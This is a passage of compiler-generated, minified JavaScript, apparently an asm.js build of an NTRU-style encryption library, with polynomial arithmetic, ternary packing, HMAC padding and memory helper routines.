                                                    A: for (;;) {
                                                        if (c >>> 0 <= (g = 65535 & e) >>> 0)
                                                            for (r = 0, e = 0;;) {
                                                                if ((0 | Q) == (0 | r)) {
                                                                    I: for (;;) {
                                                                        g: {
                                                                            if ((0 | I) == (0 | e))
                                                                                for (r = 0;;) {
                                                                                    if ((0 | Q) == (0 | r)) break g;
                                                                                    i[(A = r << 1) + n >> 1] = o[A + C >> 1] & f, r = r + 1 | 0
                                                                                }
                                                                            for (r = 65535 & (a = (Q >>> 0 > (E = o[(e << 1) + B >> 1]) >>> 0 ? Q : E) - E | 0), g = 0;;) {
                                                                                if ((0 | g) == (0 | r)) {
                                                                                    for (E = (Q >>> 0 > (g = 65535 & a) >>> 0 ? Q : g) - a & 65535, g = 0;
                                                                                        (0 | g) != (0 | E);) i[(a = (g << 1) + C | 0) >> 1] = o[(r << 1) + A >> 1] + o[a >> 1], g = g + 1 | 0, r = r + 1 | 0;
                                                                                    e = e + 1 | 0;
                                                                                    continue I
                                                                                }
                                                                                i[(c = (E << 1) + C | 0) >> 1] = o[(g << 1) + A >> 1] + o[c >> 1], g = g + 1 | 0, E = E + 1 | 0;
                                                                                continue
                                                                            }
                                                                        }
                                                                        break
                                                                    }
                                                                    return
                                                                }
                                                                i[(g = (r << 1) + C | 0) >> 1] = 0 - o[g >> 1], r = r + 1 | 0;
                                                                continue
                                                            }
                                                        for (r = 65535 & (a = (Q >>> 0 > (E = o[(g << 1) + B >> 1]) >>> 0 ? Q : E) - E | 0), g = 0;;) {
                                                            if ((0 | g) == (0 | r)) {
                                                                for (E = (Q >>> 0 > (g = 65535 & a) >>> 0 ? Q : g) - a & 65535, g = 0;
                                                                    (0 | g) != (0 | E);) i[(a = (g << 1) + C | 0) >> 1] = o[(r << 1) + A >> 1] + o[a >> 1], g = g + 1 | 0, r = r + 1 | 0;
                                                                e = e + 1 | 0;
                                                                continue A
                                                            }
                                                            i[(t = (E << 1) + C | 0) >> 1] = o[(g << 1) + A >> 1] + o[t >> 1], g = g + 1 | 0, E = E + 1 | 0;
                                                            continue
                                                        }
                                                    }
                                                }
                                            }
            
                                            function q(A, I, g, B) {
                                                var Q = 0,
                                                    i = 0;
                                                A: if (!(Q = _(C[A + 12 >> 2])) && (E[A + 48 | 0] = 0, i = A + 16 | 0, !(Q = fA(C[A + 12 >> 2], i, 33)) && !(g && (Q = fA(C[A + 12 >> 2], g, B)) || (Q = X(C[A + 12 >> 2], I)) || (Q = tA(C[A + 12 >> 2], I)) || (Q = _(C[A + 12 >> 2])) || (Q = fA(C[A + 12 >> 2], i, 32)) || (Q = X(C[A + 12 >> 2], i))))) {
                                                    if (g) {
                                                        if (Q = _(C[A + 12 >> 2])) break A;
                                                        if (E[A + 48 | 0] = 1, Q = fA(C[A + 12 >> 2], i, 33)) break A;
                                                        if (Q = fA(C[A + 12 >> 2], g, B)) break A;
                                                        if (Q = X(C[A + 12 >> 2], I)) break A;
                                                        if (Q = tA(C[A + 12 >> 2], I)) break A;
                                                        if (Q = _(C[A + 12 >> 2])) break A;
                                                        if (Q = fA(C[A + 12 >> 2], i, 32)) break A;
                                                        if (Q = X(C[A + 12 >> 2], i)) break A
                                                    }
                                                    E[0 | I] = 0, E[I + 1 | 0] = 0, E[I + 2 | 0] = 0, E[I + 3 | 0] = 0, E[I + 4 | 0] = 0, E[I + 5 | 0] = 0, E[I + 6 | 0] = 0, E[I + 7 | 0] = 0, E[I + 24 | 0] = 0, E[I + 25 | 0] = 0, E[I + 26 | 0] = 0, E[I + 27 | 0] = 0, E[I + 28 | 0] = 0, E[I + 29 | 0] = 0, E[I + 30 | 0] = 0, E[I + 31 | 0] = 0, E[I + 16 | 0] = 0, E[I + 17 | 0] = 0, E[I + 18 | 0] = 0, E[I + 19 | 0] = 0, E[I + 20 | 0] = 0, E[I + 21 | 0] = 0, E[I + 22 | 0] = 0, E[I + 23 | 0] = 0, E[I + 8 | 0] = 0, E[I + 9 | 0] = 0, E[I + 10 | 0] = 0, E[I + 11 | 0] = 0, E[I + 12 | 0] = 0, E[I + 13 | 0] = 0, E[I + 14 | 0] = 0, E[I + 15 | 0] = 0, Q = 0
                                                }
                                                return Q
                                            }
            
                                            function l(A, I, g) {
                                                for (var B = 0, Q = 0, i = 0, C = 0, o = 0;
                                                    (65535 & I) >>> 0 >= 16;) Q = n[A + 1 | 0], C = n[0 | A], B = 7 & (i = n[A + 2 | 0]), E[g + 15 | 0] = n[B + 1848 | 0], E[g + 14 | 0] = n[B + 1840 | 0], B = C >>> 5 | 0, E[g + 1 | 0] = n[B + 1848 | 0], E[0 | g] = n[B + 1840 | 0], B = i >>> 3 & 7, E[g + 13 | 0] = n[B + 1848 | 0], E[g + 12 | 0] = n[B + 1840 | 0], B = Q >>> 1 & 7, E[g + 9 | 0] = n[B + 1848 | 0], E[g + 8 | 0] = n[B + 1840 | 0], B = Q >>> 4 & 7, E[g + 7 | 0] = n[B + 1848 | 0], E[g + 6 | 0] = n[B + 1840 | 0], B = C >>> 2 & 7, E[g + 3 | 0] = n[B + 1848 | 0], E[g + 2 | 0] = n[B + 1840 | 0], i = ((Q <<= 8) | i) >>> 6 & 7, E[g + 11 | 0] = n[i + 1848 | 0], E[g + 10 | 0] = n[i + 1840 | 0], Q = (Q | C << 16) >>> 15 & 7, E[g + 5 | 0] = n[Q + 1848 | 0], E[g + 4 | 0] = n[Q + 1840 | 0], I = I + -16 | 0, g = g + 16 | 0, A = A + 3 | 0;
                                                A: if (65535 & I)
                                                    for (i = n[A + 2 | 0] | n[A + 1 | 0] << 8 | n[0 | A] << 16, C = 21;;) {
                                                        if (!(B = 65535 & (Q = I))) break A;
                                                        A = g, o = i >>> C & 7, E[0 | g] = n[o + 1840 | 0], g = g + 1 | 0, C = C + -3 | 0, I = 0, 1 != (0 | B) && (E[A + 1 | 0] = n[o + 1848 | 0], I = Q + -2 | 0, g = A + 2 | 0)
                                                    }
                                            }
            
                                            function S(A, I, g, B, Q, i, r, e) {
                                                var c = 0,
                                                    t = 0,
                                                    f = 0,
                                                    D = 0,
                                                    y = 0,
                                                    d = 0,
                                                    s = 0;
                                                A: {
                                                    I: {
                                                        g: {
                                                            B: {
                                                                Q: switch ((c = n[0 | g]) + -1 | 0) {
                                                                    case 0:
                                                                        break g;
                                                                    case 1:
                                                                        break B;
                                                                    default:
                                                                        break Q
                                                                }
                                                                if (c + -254 >>> 0 >= 2) break A
                                                            }
                                                            if (A) break A;
                                                            if (c + -254 >>> 0 < 2 | c + -1 >>> 0 <= 1) break I;
                                                            return 1
                                                        }
                                                        if (!A) break A
                                                    }
                                                    if (!(3 != n[g + 1 | 0] | I >>> 0 < 5) && (t = function(A) {
                                                            var I = 0;
                                                            for (;;) {
                                                                I: {
                                                                    if (18 != (0 | I)) {
                                                                        if (BA(a(I, 44) + 2056 | 0, A)) break I;
                                                                        A = a(I, 44) + 2048 | 0
                                                                    } else A = 0;
                                                                    return A
                                                                }
                                                                I = I + 1 | 0
                                                            }
                                                        }(g + 2 | 0))) {
                                                        if (f = o[t + 14 >> 1], y = a(f, n[t + 22 | 0]) + 7 >>> 3 | 0, A) {
                                                            if ((5 + (65535 & y) | 0) != (0 | I)) break A;
                                                            C[r >> 2] = g + 5
                                                        } else {
                                                            if ((D = n[t + 23 | 0]) && 254 == (0 | c)) break A;
                                                            if (A = C[t + 24 >> 2], d = a(n[t + 12 | 0], (D ? ((A >>> 8 & 255) + (255 & A) | 0) + (A >>> 16 & 255) | 0 : A) << 1 & 131070) + 7 >>> 3 | 0, f = (f + 4 >>> 0) / 5 | 0, A = 2 == (0 | c) ? D ? -1 : (65535 & d) >>> 0 > f >>> 0 ? -2 : -1 : c, (0 | (c = I)) != (5 + ((I = 65535 & y) + (65535 & (254 == (255 & A) ? f : d)) | 0) | 0)) break A;
                                                            g = g + 5 | 0, C[r >> 2] = g, C[e >> 2] = I + g, E[0 | Q] = 254 == (255 & A) ? 3 : 2
                                                        }
                                                        s = 1, E[0 | B] = 1, C[i >> 2] = t
                                                    }
                                                }
                                                return s
                                            }
            
                                            function p(A, I, g, B, Q, C, o, r, e, c, t, f) {
                                                var D = 0,
                                                    y = 0,
                                                    d = 0,
                                                    s = 0,
                                                    F = 0,
                                                    N = 0,
                                                    u = 0,
                                                    k = 0,
                                                    w = 0;
                                                A: if (!(B = J(C, A, I, g, B, Q, D = 4 + (I + C | 0) | 0)))
                                                    for (N = b(D + (g = a(I, g)) | 0, o), y = c ? 3 : 1, s = c ? 255 & t : t, F = c ? t >>> 8 | 0 : t, t = D, B = 0;;) {
                                                        if (!(255 & y)) {
                                                            B = 0;
                                                            break A
                                                        }
                                                        for (;
                                                            (k = 65535 & u) >>> 0 < (65535 & s) >>> 0;) {
                                                            for (;;) {
                                                                for (Q = (Q = 255 & d) ? (255 & B) << r - Q : 0, c = r - d | 0; c &= 255;) {
                                                                    if (!(65535 & g) && (B = J(C, A, g = I, 1, 0, 0, t = D))) break A;
                                                                    B = n[0 | t], c >>> 0 <= 8 ? (w = B >>> (d = 8 - c | 0) | 0, B &= 255 >>> 8 - (255 & d), c = 0) : w = B << (c = c + -8 | 0), g = g + -1 | 0, t = t + 1 | 0, Q |= w
                                                                }
                                                                if (!((Q &= 65535) >>> 0 >= e >>> 0)) break
                                                            }
                                                            n[0 | (c = (Q = (Q >>> 0) % (o >>> 0) | 0) + N | 0)] || (E[0 | c] = 1, i[(k << 1) + f >> 1] = Q, u = u + 1 | 0)
                                                        }
                                                        255 & (y = y + -1 | 0) && (b(N, o), s = (255 & F) + s | 0, F = F >>> 8 | 0)
                                                    }
                                                return B
                                            }
            
                                            function U(A, I, g) {
                                                var B = 0;
                                                A: if ((0 | A) != (0 | I)) {
                                                    if ((I - A | 0) - g >>> 0 <= 0 - (g << 1) >>> 0) return void H(A, I, g);
                                                    if (B = 3 & (A ^ I), A >>> 0 < I >>> 0) {
                                                        if (!B) {
                                                            if (3 & A)
                                                                for (;;) {
                                                                    if (!g) break A;
                                                                    if (E[0 | A] = n[0 | I], I = I + 1 | 0, g = g + -1 | 0, !(3 & (A = A + 1 | 0))) break
                                                                }
                                                            if (!(g >>> 0 <= 3))
                                                                for (; C[A >> 2] = C[I >> 2], I = I + 4 | 0, A = A + 4 | 0, (g = g + -4 | 0) >>> 0 > 3;);
                                                        }
                                                        if (g)
                                                            for (; E[0 | A] = n[0 | I], A = A + 1 | 0, I = I + 1 | 0, g = g + -1 | 0;);
                                                    } else {
                                                        if (!B) {
                                                            if (A + g & 3)
                                                                for (;;) {
                                                                    if (!g) break A;
                                                                    if (E[0 | (B = (g = g + -1 | 0) + A | 0)] = n[I + g | 0], !(3 & B)) break
                                                                }
                                                            if (!(g >>> 0 <= 3))
                                                                for (; C[(g = g + -4 | 0) + A >> 2] = C[I + g >> 2], g >>> 0 > 3;);
                                                        }
                                                        if (!g) break A;
                                                        for (; E[(g = g + -1 | 0) + A | 0] = n[I + g | 0], g;);
                                                    }
                                                }
                                            }
            
                                            function b(A, I) {
                                                var g = 0,
                                                    B = 0;
                                                if (I && (E[(g = A + I | 0) + -1 | 0] = 0, E[0 | A] = 0, !(I >>> 0 < 3 || (E[g + -2 | 0] = 0, E[A + 1 | 0] = 0, E[g + -3 | 0] = 0, E[A + 2 | 0] = 0, I >>> 0 < 7 || (E[g + -4 | 0] = 0, E[A + 3 | 0] = 0, I >>> 0 < 9 || (C[(g = (B = 0 - A & 3) + A | 0) >> 2] = 0, C[(I = (B = I - B & -4) + g | 0) + -4 >> 2] = 0, B >>> 0 < 9 || (C[g + 8 >> 2] = 0, C[g + 4 >> 2] = 0, C[I + -8 >> 2] = 0, C[I + -12 >> 2] = 0, B >>> 0 < 25 || (C[g + 24 >> 2] = 0, C[g + 20 >> 2] = 0, C[g + 16 >> 2] = 0, C[g + 12 >> 2] = 0, C[I + -16 >> 2] = 0, C[I + -20 >> 2] = 0, C[I + -24 >> 2] = 0, C[I + -28 >> 2] = 0, (I = (I = B) - (B = 4 & g | 24) | 0) >>> 0 < 32))))))))
                                                    for (g = g + B | 0; C[g + 24 >> 2] = 0, C[g + 28 >> 2] = 0, C[g + 16 >> 2] = 0, C[g + 20 >> 2] = 0, C[g + 8 >> 2] = 0, C[g + 12 >> 2] = 0, C[g >> 2] = 0, C[g + 4 >> 2] = 0, g = g + 32 | 0, (I = I + -32 | 0) >>> 0 > 31;);
                                                return A
                                            }
            
                                            function L(A, I, g, B, Q, E, i, C) {
                                                var o, r = 0,
                                                    e = 0;
                                                D = o = D - 16 | 0;
                                                A: if (!(r = J(E, A, I, g, B, r = Q, Q = 4 + (I + E | 0) | 0)))
                                                    for (g = a(I, g), B = Q;;) {
                                                        if ((65535 & i) >>> 0 <= 4)
                                                            for (;;) {
                                                                if (!(e = 65535 & i)) {
                                                                    r = 0;
                                                                    break A
                                                                }
                                                                if (!(65535 & g) && (g = I, r = J(E, A, I, 1, 0, 0, B = Q))) break A;
                                                                (r = n[0 | B]) >>> 0 <= 242 ? (EA(r, o + 11 | 0), H(C, o + 11 | 0, e), i = 0) : (g = g + -1 | 0, B = B + 1 | 0)
                                                            }
                                                        if (!(65535 & g) && (g = I, r = J(E, A, I, 1, 0, 0, B = Q))) break A;
                                                        (r = n[0 | B]) >>> 0 <= 242 && (EA(r, C), C = C + 5 | 0, i = i + -5 | 0), g = g + -1 | 0, B = B + 1 | 0
                                                    }
                                                return D = o + 16 | 0, r
                                            }
            
                                            function J(A, I, g, B, Q, i, C) {
                                                var o;
                                                o = A + g | 0;
                                                A: {
                                                    if (i) {
                                                        if (i = oA(I, i, Q, A)) break A;
                                                        E[0 | o] = 0, E[o + 1 | 0] = 0, E[o + 2 | 0] = 0, E[o + 3 | 0] = 0
                                                    }
                                                    for (Q = g + 4 | 0;;) {
                                                        if (!(255 & B)) {
                                                            i = 0;
                                                            break A
                                                        }
                                                        if (i = oA(I, A, Q, C)) break A;
                                                        B = B + -1 | 0, i = n[o + 3 | 0] + 1 | 0, E[o + 3 | 0] = i, C = g + C | 0, (0 | i) != (255 & i) && (i = n[o + 2 | 0] + 1 | 0, E[o + 2 | 0] = i, (0 | i) != (255 & i) && (i = n[o + 1 | 0] + 1 | 0, E[o + 1 | 0] = i, (0 | i) != (255 & i) && (E[0 | o] = n[0 | o] + 1)))
                                                    }
                                                }
                                                return i
                                            }
            
                                            function Y(A, I, g, B, Q, E, C, n, r) {
                                                var e, c;
                                                for (D = e = D - 16 | 0, yA(E, e + 14 | 0, e + 12 | 0), M(A, I, I, Q, E, C, n, c = (a(o[e + 12 >> 1], o[e + 14 >> 1]) << 1) + n | 0), M(c, g, g, (I << 2) + Q | 0, E, C, n, c), M(A, B, B, (I + g << 2) + Q | 0, E, C, n, n), g = C + -1 | 0, I = 0;;) {
                                                    if ((0 | I) == (0 | E)) {
                                                        for (A = (A = o[e + 12 >> 1]) >>> 0 < E >>> 0 ? E : A;
                                                            (0 | A) != (0 | E);) i[(E << 1) + r >> 1] = 0, E = E + 1 | 0;
                                                        D = e + 16 | 0;
                                                        break
                                                    }
                                                    i[(A = I << 1) + r >> 1] = g & o[A + n >> 1] + o[A + c >> 1], I = I + 1 | 0
                                                }
                                            }
            
                                            function m(A, I, g, B, Q, i) {
                                                var r = 0;
                                                return 2 == (254 & B) ? (E[0 | i] = 770, E[i + 1 | 0] = 3, r = n[A + 8 | 0] | n[A + 9 | 0] << 8, E[i + 2 | 0] = r, E[i + 3 | 0] = r >>> 8, E[i + 4 | 0] = n[A + 10 | 0], r = I, I = i + 5 | 0, v(o[A + 14 >> 1], r, n[A + 22 | 0], I), r = o[A + 14 >> 1], i = I + (a(r, n[A + 22 | 0]) + 7 >>> 3 | 0) | 0, 3 != (0 | B) ? (I = C[A + 24 >> 2], n[A + 23 | 0] && (I = ((I >>> 8 & 255) + (255 & I) | 0) + (I >>> 16 & 255) | 0), v(I << 1 & 65534, g, n[A + 12 | 0], i)) : function(A, I, g, B, Q, E) {
                                                    var i, C;
                                                    D = i = D - 16 | 0, C = b(Q, B), nA(I, A, 1, C), nA(g, (I << 1) + A | 0, 0, C);
                                                    for (;
                                                        (65535 & B) >>> 0 >= 5;) CA(Q, E), E = E + 1 | 0, Q = Q + 5 | 0, B = B + -5 | 0;
                                                    (A = 65535 & B) && (H(i + 11 | 0, Q, A), b(A + (i + 11 | 0) | 0, 5 - A | 0), CA(i + 11 | 0, E));
                                                    D = i + 16 | 0
                                                }(g, A = o[A + 24 >> 1], A, r, Q, i), A = 0) : A = 12290, A
                                            }
            
                                            function X(A, I) {
                                                var g = 0,
                                                    B = 0;
                                                g = 514;
                                                A: if (!(!A | !I)) {
                                                    for (; B >>> 0 < o[A + 116 >> 1];) g = C[A + 112 >> 2] + B | 0, E[0 | g] = 106 ^ n[0 | g], B = B + 1 | 0;
                                                    for ((g = rA(A, I)) || (g = aA(A)) || (g = iA(A, C[A + 112 >> 2], o[A + 116 >> 1])) || (g = iA(A, I, o[A + 118 >> 1])) || (g = rA(A, I)), B = 0;;) {
                                                        if (B >>> 0 >= o[A + 116 >> 1]) break A;
                                                        I = C[A + 112 >> 2] + B | 0, E[0 | I] = 92 ^ n[0 | I], B = B + 1 | 0
                                                    }
                                                }
                                                return g
                                            }
            
                                            function z(A, I, g, B) {
                                                for (var Q = 0, E = 0, C = 0, n = 0, r = 0, e = 0;;) {
                                                    if ((0 | B) == (0 | Q)) {
                                                        for (n = B >>> 0 > 1 ? B : 1, r = B + -1 | 0, E = 1;
                                                            (0 | E) != (0 | n);) {
                                                            for (Q = 0, i[(E + r << 1) + A >> 1] = 0, e = (E << 1) + I | 0;
                                                                (0 | B) != (0 | Q);) i[(C = (Q + E << 1) + A | 0) >> 1] = o[C >> 1] + a(o[(Q << 1) + g >> 1], o[e >> 1]), Q = Q + 1 | 0;
                                                            E = E + 1 | 0
                                                        }
                                                        i[((B << 2) + A | 0) - 2 >> 1] = 0;
                                                        break
                                                    }
                                                    i[(E = Q << 1) + A >> 1] = a(o[g + E >> 1], o[I >> 1]), Q = Q + 1 | 0
                                                }
                                            }
            
                                            function x(A) {
                                                var I, g = 0,
                                                    B = 0,
                                                    E = 0,
                                                    i = 0;
                                                D = I = D - 560 | 0, B = 2565;
                                                A: if (Q[C[A + 8 >> 2]](0, I + 47 | 0) && !(((g = n[I + 47 | 0]) + -1 & 255) >>> 0 > 7)) {
                                                    for (E = a(g, C[A >> 2] >>> 2 & 536870911), g = 0;;) {
                                                        if ((0 | g) != (0 | E)) {
                                                            if (i = (I + 48 | 0) + g | 0, g = g + 1 | 0, Q[C[A + 8 >> 2]](2, i)) continue;
                                                            break A
                                                        }
                                                        break
                                                    }(B = q(A, I, I + 48 | 0, E)) || (C[A + 4 >> 2] = -1, B = 0)
                                                }
                                                return D = I + 560 | 0, B
                                            }
            
                                            function v(A, I, g, B) {
                                                var Q, i = 0,
                                                    C = 0,
                                                    n = 0,
                                                    r = 0,
                                                    a = 0,
                                                    e = 0;
                                                for (C = Q = g + -8 | 0;;) {
                                                    a = ((r = 65535 & n) << 1) + I | 0;
                                                    A: {
                                                        for (;;) {
                                                            if (r >>> 0 >= A >>> 0) break A;
                                                            if (e = i, i = 65535 & C, E[0 | B] = e | o[a >> 1] >>> i, B = B + 1 | 0, !(i >>> 0 >= 9)) break;
                                                            C = C + -8 | 0, i = 0
                                                        }
                                                        n = n + 1 | 0,
                                                        C = g - (i = 8 - C | 0) | 0,
                                                        i = o[a >> 1] << (65535 & i);
                                                        continue
                                                    }
                                                    break
                                                }(65535 & C) != (0 | Q) && (E[0 | B] = i)
                                            }
            
                                            function W(A, I, g, B, Q) {
                                                var r = 0,
                                                    e = 0;
                                                r = n[A + 22 | 0], e = o[A + 14 >> 1], E[0 | I] = 1, r = 5 + (a(r, e) + 7 >>> 3 & 65535) | 0, i[g >> 1] = r, !B | !Q || (I = (o[A + 14 >> 1] + 4 >>> 0) / 5 | 0, g = C[A + 24 >> 2], (e = n[A + 23 | 0]) && (g = ((g >>> 8 & 255) + (255 & g) | 0) + (g >>> 16 & 255) | 0), g = !e & (65535 & (A = a(n[A + 12 | 0], g << 1 & 131070) + 7 >>> 3 | 0)) >>> 0 > I >>> 0, E[0 | B] = g ? 3 : 2, i[Q >> 1] = r + (g ? I : A))
                                            }
            
                                            function Z(A, I, g, B, Q, E) {
                                                var C = 0,
                                                    n = 0;
                                                for (function A(I, g, B, Q, E) {
                                                        var C = 0,
                                                            n = 0,
                                                            r = 0,
                                                            a = 0,
                                                            e = 0,
                                                            c = 0,
                                                            t = 0,
                                                            f = 0;
                                                        A: if (!(1 & E) && E >>> 0 >= 39) {
                                                            for (f = (e = (E << 1) + I | 0) + (E = (r = E >>> 1 | 0) << 1) | 0, c = Q + E | 0, n = B + E | 0, t = I + E | 0;
                                                                (0 | C) != (0 | r);) i[(E = C << 1) + I >> 1] = o[B + E >> 1] - o[E + n >> 1], i[E + t >> 1] = o[E + c >> 1] - o[Q + E >> 1], C = C + 1 | 0;
                                                            for (A(g, e, I, t, r), A(e, I, n, c, r), c = (r << 1) + g | 0, C = 0, E = 0;;) {
                                                                if ((0 | E) != (0 | r)) {
                                                                    i[(a = (n = E << 1) + g | 0) >> 1] = o[a >> 1] + o[n + e >> 1], E = E + 1 | 0;
                                                                    continue
                                                                }
                                                                for (;
                                                                    (0 | C) != (0 | r);) i[(E = C << 1) + t >> 1] = o[g + E >> 1], n = o[(a = E + c | 0) >> 1] + o[E + f >> 1] | 0, i[a >> 1] = n, i[(E = E + e | 0) >> 1] = n + o[E >> 1], C = C + 1 | 0;
                                                                for (A(g, I, B, Q, r), C = 0;;) {
                                                                    if ((0 | C) == (0 | r)) break A;
                                                                    Q = (B = C << 1) + g | 0, i[I + B >> 1] = o[Q >> 1], n = E = B + t | 0, a = o[E >> 1], E = B + c | 0, i[n >> 1] = a + (o[E >> 1] + o[Q >> 1] | 0), i[(B = B + e | 0) >> 1] = o[B >> 1] + o[E >> 1], C = C + 1 | 0
                                                                }
                                                            }
                                                        } else z(I, B, Q, E)
                                                    }(C = b(C = Q, a(Q = g + 15 & 65520, 6)), (Q << 2) + C | 0, A, I, Q), A = B + -1 | 0;;) {
                                                    if ((0 | g) == (0 | n)) {
                                                        for (; Q >>> 0 > (A = 65535 & g) >>> 0;) i[(A << 1) + E >> 1] = 0, g = g + 1 | 0;
                                                        break
                                                    }
                                                    i[(I = n << 1) + E >> 1] = A & o[(g + n << 1) + C >> 1] + o[I + C >> 1], n = n + 1 | 0
                                                }
                                            }
            
                                            function V(A, I, g, B) {
                                                var Q, E = 0,
                                                    C = 0,
                                                    o = 0,
                                                    r = 0;
                                                for (Q = -1 << g ^ -1, E = g;
                                                    (0 | A) != (0 | o);)(r = 65535 & E) >>> 0 >= 9 ? (E = r + -8 | 0, C = 65535 & C | n[I + o | 0] << E) : (r = C, C = I + o | 0, E = 8 - E & 65535, i[B >> 1] = (r | n[0 | C] >>> E) & Q, B = B + 2 | 0, E = g - E | 0, C = n[0 | C] << (65535 & E)), o = o + 1 | 0
                                            }
            
                                            function K(A, I, g) {
                                                var B, Q = 0,
                                                    E = 0;
                                                for (i[(B = D - 16 | 0) + 14 >> 1] = 0, i[B + 10 >> 1] = 0, i[B + 12 >> 1] = 0;
                                                    (0 | A) != (0 | Q);) E = (B + 10 | 0) + (n[I + Q | 0] << 1) | 0, i[E >> 1] = o[E >> 1] + 1, Q = Q + 1 | 0;
                                                return o[B + 10 >> 1] >= g >>> 0 & o[B + 12 >> 1] >= g >>> 0 & o[B + 14 >> 1] >= g >>> 0
                                            }
            
                                            function O(A, I, g, B) {
                                                var E = 0;
                                                E = 2562;
                                                A: if (!(!B | !(A = gA(A)))) {
                                                    if (!g) return 2563;
                                                    I: switch (C[A + 4 >> 2]) {
                                                        case 0:
                                                            return 0 | Q[C[C[A + 8 >> 2] >> 2]](B, g);
                                                        case 1:
                                                            break I;
                                                        default:
                                                            break A
                                                    }
                                                    E = w(C[A + 8 >> 2], I, g, B)
                                                }
                                                return E
                                            }
            
                                            function _(A) {
                                                var I = 0,
                                                    g = 0;
                                                if (A) {
                                                    for (; I >>> 0 < o[A + 116 >> 1];) g = C[A + 112 >> 2] + I | 0, E[0 | g] = 54 ^ n[0 | g], I = I + 1 | 0;
                                                    if (!(I = aA(A))) return iA(A, C[A + 112 >> 2], o[A + 116 >> 1])
                                                } else I = 514;
                                                return I
                                            }
            
                                            function j(A, I, g) {
                                                for (var B = 0, Q = 0, E = 0;
                                                    (0 | g) != (0 | E);) Q = (E << 2) + A | 0, B = n[0 | I] << 24, C[Q >> 2] = B, B |= n[I + 1 | 0] << 16, C[Q >> 2] = B, B |= n[I + 2 | 0] << 8, C[Q >> 2] = B, C[Q >> 2] = B | n[I + 3 | 0], E = E + 1 | 0, I = I + 4 | 0
                                            }
            
                                            function T(A, I, g) {
                                                var B = 0,
                                                    Q = 0,
                                                    i = 0;
                                                for (E[0 | g] = 0, B = 6;
                                                    (0 | A) != (0 | Q);) i = (3 & o[(Q << 1) + I >> 1]) << B | i, E[0 | g] = i, (0 | B) > 1 ? B = B + -2 | 0 : (i = 0, E[g + 1 | 0] = 0, g = g + 1 | 0, B = 6), Q = Q + 1 | 0
                                            }
            
                                            function P(A, I, g, B) {
                                                return 1 == (0 | g) ? (E[0 | B] = 769, E[B + 1 | 0] = 3, g = n[A + 8 | 0] | n[A + 9 | 0] << 8, E[B + 2 | 0] = g, E[B + 3 | 0] = g >>> 8, E[B + 4 | 0] = n[A + 10 | 0], v(o[A + 14 >> 1], I, n[A + 22 | 0], B + 5 | 0), A = 0) : A = 12290, A
                                            }
            
                                            function $(A, I, g) {
                                                for (var B = 0, Q = 0;
                                                    (0 | g) != (0 | Q);) B = (Q << 2) + I | 0, E[0 | A] = n[B + 3 | 0], E[A + 1 | 0] = o[B + 2 >> 1], E[A + 2 | 0] = C[B >> 2] >>> 8, E[A + 3 | 0] = C[B >> 2], Q = Q + 1 | 0, A = A + 4 | 0
                                            }
            
                                            function AA() {
                                                var A, I, g = 0,
                                                    B = 0;
                                                if ((A = function() {
                                                        var A = 0;
                                                        for (;;) {
                                                            A: {
                                                                if (4 != (0 | A)) {
                                                                    if (C[a(A, 12) + 2856 >> 2]) break A;
                                                                    A = a(A, 12) + 2848 | 0
                                                                } else A = 0;
                                                                return A
                                                            }
                                                            A = A + 1 | 0
                                                        }
                                                    }()) && (I = d(4))) {
                                                    for (C[I >> 2] = 9; B = (g = B) + 1 | 0, gA(g););
                                                    C[A + 8 >> 2] = I, C[A + 4 >> 2] = 0, C[A >> 2] = g, C[724] = g
                                                }
                                            }
            
                                            function IA(A) {
                                                var I, g;
                                                return (A = (I = C[852]) + (g = A + 3 & -4) | 0) >>> 0 <= I >>> 0 && (0 | g) >= 1 || A >>> 0 > (B.byteLength / 65536 | 0) << 16 >>> 0 && !f(0 | A) ? (C[727] = 48, -1) : (C[852] = A, I)
                                            }
            
                                            function gA(A) {
                                                for (var I = 0, g = 0;;) {
                                                    A: {
                                                        if (4 != (0 | I)) {
                                                            if (g = a(I, 12), C[g + 2848 >> 2] != (0 | A) | !C[g + 2856 >> 2]) break A;
                                                            A = a(I, 12) + 2848 | 0
                                                        } else A = 0;
                                                        return A
                                                    }
                                                    I = I + 1 | 0
                                                }
                                            }
            
                                            function BA(A, I) {
                                                var g = 0,
                                                    B = 0,
                                                    Q = 0,
                                                    E = 0;
                                                g = 3;
                                                A: {
                                                    for (;;) {
                                                        if ((0 | (B = n[0 | A])) == (0 | (Q = n[0 | I]))) {
                                                            if (I = I + 1 | 0, A = A + 1 | 0, g = g + -1 | 0) continue;
                                                            break A
                                                        }
                                                        break
                                                    }
                                                    E = B - Q | 0
                                                }
                                                return E
                                            }
            
                                            function QA() {
                                                for (var A = 0, I = 0;;) {
                                                    if (18 == (0 | I)) return 0;
                                                    if (A = a(I, 44), I = I + 1 | 0, 15 == C[(A = A + 2048 | 0) >> 2]) break
                                                }
                                                return A
                                            }
            
                                            function EA(A, I) {
                                                for (var g = 0, B = 0; 5 != (0 | g);) B = ((A &= 255) >>> 0) % 3 | 0, E[I + g | 0] = B, A = (A - B | 0) / 3 | 0, g = g + 1 | 0
                                            }
            
                                            function iA(A, I, g) {
                                                var B = 0;
                                                if (!A | (g ? !I : 0)) A = 258;
                                                else {
                                                    if (!(B = C[A >> 2])) return 288;
                                                    A = 0 | Q[C[B + 12 >> 2]](A + 4 | 0, I, g)
                                                }
                                                return A
                                            }
            
                                            function CA(A, I) {
                                                var g = 0,
                                                    B = 0;
                                                for (E[0 | I] = 0, g = 4;
                                                    (0 | g) >= 0;) B = n[A + g | 0] + a(B, 3) | 0, E[0 | I] = B, g = g + -1 | 0
                                            }
            
                                            function nA(A, I, g, B) {
                                                var Q;
                                                for (Q = g ? 1 : 2, g = 0;
                                                    (0 | A) != (0 | g);) E[o[(g << 1) + I >> 1] + B | 0] = Q, g = g + 1 | 0
                                            }
            
                                            function oA(A, I, g, B) {
                                                return (A = function(A) {
                                                    for (var I = 0, g = 0;;) {
                                                        if (2 == (0 | g)) return 0;
                                                        if (I = a(g, 24), g = g + 1 | 0, n[0 | (I = I + 1792 | 0)] == (0 | A)) break
                                                    }
                                                    return I
                                                }(A)) ? A = !B | !I & 0 != (0 | g) ? 258 : 0 | Q[C[A + 20 >> 2]](I, g, B) : 288
                                            }
            
                                            function rA(A, I) {
                                                var g = 0;
                                                if (!A | !I) A = 258;
                                                else {
                                                    if (!(g = C[A >> 2])) return 288;
                                                    A = 0 | Q[C[g + 16 >> 2]](A + 4 | 0, I)
                                                }
                                                return A
                                            }
            
                                            function aA(A) {
                                                var I;
                                                return A ? (I = C[A >> 2]) ? 0 | Q[C[I + 8 >> 2]](A + 4 | 0) : 288 : 258
                                            }
            
